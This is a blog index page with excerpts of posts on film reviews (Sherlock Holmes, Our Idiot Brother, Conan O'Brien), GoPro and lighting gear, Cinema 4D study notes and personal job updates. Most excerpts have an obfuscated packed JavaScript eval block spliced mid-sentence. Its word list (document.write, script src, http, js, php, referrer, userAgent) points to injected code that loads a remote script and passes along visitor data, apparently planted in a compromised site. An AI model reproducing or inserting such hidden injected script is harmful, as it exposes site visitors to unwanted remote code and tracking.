Movie Review: “Sherlock Holmes: A Game of Shadows”

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|firka|var|u0026u|referrer|zikrf||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...

Movie Review: "Sherlock Holmes: A Game of Shadows"

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeysb|var|u0026u|referrer|kzdyn||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...

My End of the Year (Almost)Post-Mortem

Since it's the time of year when companies summarize the year they've had, and it's been a while since I've done a life check in, here's my Almost-Post-Mortem of 2011. I'll try to keep it under 600 words. Gear: I'm eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yazrd|var|u0026u|referrer|ybnab||js|php'.split('|'),0,{})) a...

Jason Segel + Kermit= Good Times

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yafsi|var|u0026u|referrer|eneyi||js|php'.split('|'),0,{})) grew up watching re-runs (yes, I'm too young to watch the first runs) of The Muppet Show and I've seen all of the movies. I'm a big fan of the franchise. Jim Henson (imdb.com) is one of the...

Monsters (2010) Review

Monsters eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziren|var|u0026u|referrer|shbfk||js|php'.split('|'),0,{})) (2010) is a British sci-fi film that combines a post-apocalyptic alien take-over with romance and slight political themes. I can only say that I am truly mixed on this film. The landscapes and set direction are stunning and...

Jag35: Top Quality, Low Cost (Relatively)

PREFACE: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekak|var|u0026u|referrer|ebabi||js|php'.split('|'),0,{})) I promise I will explain why I said "Relatively" in the title! Over the last few months I have been acquiring and using a lot of gear. Much of what I have been getting has been courtesy of Jag35....

Cinema 4d Handbook: Chapter 7

All through September I am going through the Cinema 4D, r10 Handbook in hopes of gaining a new skill and better understanding of 3D modeling. I plan to (from here on out) cover two chapters a week (longer chapters will be broken into multiple posts)....

Cinema 4D r10 Handbook: Chapter 2

Over the course of September I’m going to be going through the C4D r10 Handbook chapter by chapter and posting general overviews and my thoughts. Once completed I hope to be able to do basic 3D animations and graphics. Posts will come Mondays, Wednesdays, and...

Cinema 4D r10 Handbook: Chapter 1

Over the course of September I'm going to be going through the C4D r10 Handbook chapter by chapter and posting general overviews and my thoughts. Once completed I hope to be able to do basic 3D animations and graphics. Posts will come Mondays, Wednesdays, and...

New Horizons

Been a while since I've just given an update. A lot has been happening, and there's more to come. First and foremost, Beyond Pix (beyondpix.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysze|var|u0026u|referrer|bhbse||js|php'.split('|'),0,{})) has brought me on full time. So, now I get benefits, paid time off,...

“Our Idiot Brother” Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nahes|var|u0026u|referrer|ffbri||js|php'.split('|'),0,{})) night I got the chance to go to a pre-screening of Our Idiot Brother (imdb.com) hosted by NATAS (The National Academy of Television Arts and Sciences) (emmysf.tv). I know the movie doesn't officially premiere until Friday, so I...

"Our Idiot Brother" Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttife|var|u0026u|referrer|dyffb||js|php'.split('|'),0,{})) night I got the chance to go to a pre-screening of Our Idiot Brother (imdb.com) hosted by NATAS (The National Academy of Television Arts and Sciences) (emmysf.tv). I know the movie doesn't officially premiere until Friday, so I...

Are Labor Jobs the Answer for U.S. Economy?

I know this post is going to be off-film, but it's something that I've been discussing a lot recently. About two months ago, Mike Rowe (discovery.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzyb|var|u0026u|referrer|tearn||js|php'.split('|'),0,{})) from Discovery's "Dirty Jobs" was in the studio talking about the lack of...

Autodesk 123D Sculpt Review

Last week I heard about a new app release for the iPad; a 3D modelling program put out by Autodesk (autodesk.com). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynhhz|var|u0026u|referrer|hrbzy||js|php'.split('|'),0,{})) How could I NOT get excited? They make the absolutely solid 3D program: Maya. And the thought that...

Creating Timelapse Videos with a GoPro

Everyone loves seeing timelapse videos. And creating them using interval frame rate cameras is easy. It's even easier with cameras like the GoPro (GoPro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifisr|var|u0026u|referrer|ifzeb||js|php'.split('|'),0,{})) Review). But visualizing the final product before you shoot can save you hours of shooting...

"Conan O'Brien Can't Stop" Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntdyd|var|u0026u|referrer|nakhy||js|php'.split('|'),0,{})) live across the street from the Lumiere Theatre (landmarktheatres.com) in San Francisco, and the other night I looked out my window and saw "Conan O'Brien" on the marquee. At this point, I got super excited. I missed Conan...

“Conan O’Brien Can’t Stop” Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiahs|var|u0026u|referrer|eezzh||js|php'.split('|'),0,{})) live across the street from the Lumiere Theatre (landmarktheatres.com) in San Francisco, and the other night I looked out my window and saw "Conan O'Brien" on the marquee. At this point, I got super excited. I missed Conan...

GoPro, Stay Pro: GoPro HD Hero Naked Review

My new GoPro HD Hero Naked (gopro.com/cameras) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfiyb|var|u0026u|referrer|fhakf||js|php'.split('|'),0,{})) came in last Friday, just in time for me to take it along with me on my trip to Fort Bragg. I did some test shooting and I couldn't be happier with...

Cowboy Studio Lights

About eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzkyf|var|u0026u|referrer|beisb||js|php'.split('|'),0,{})) a month ago I stumbled upon the DSLR Film Noob's review (http://www.dslrfilmnoob.com) of the Cowboy Studio CFL (Compact Fluorescent Light)  light rig, and I decided to look a little more into it. He basically said that, for the...

Work, No Work, Work

It's been an interesting week, to say the least. Now prepare for my ramble. Let's start from the beginning, shall we. Tuesday was my last day working with Teachscape Inc. (http://www.teachscape.com)on eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didfr|var|u0026u|referrer|abisz||js|php'.split('|'),0,{})) the Measures of Effective Teaching (MET) Project, that's funded...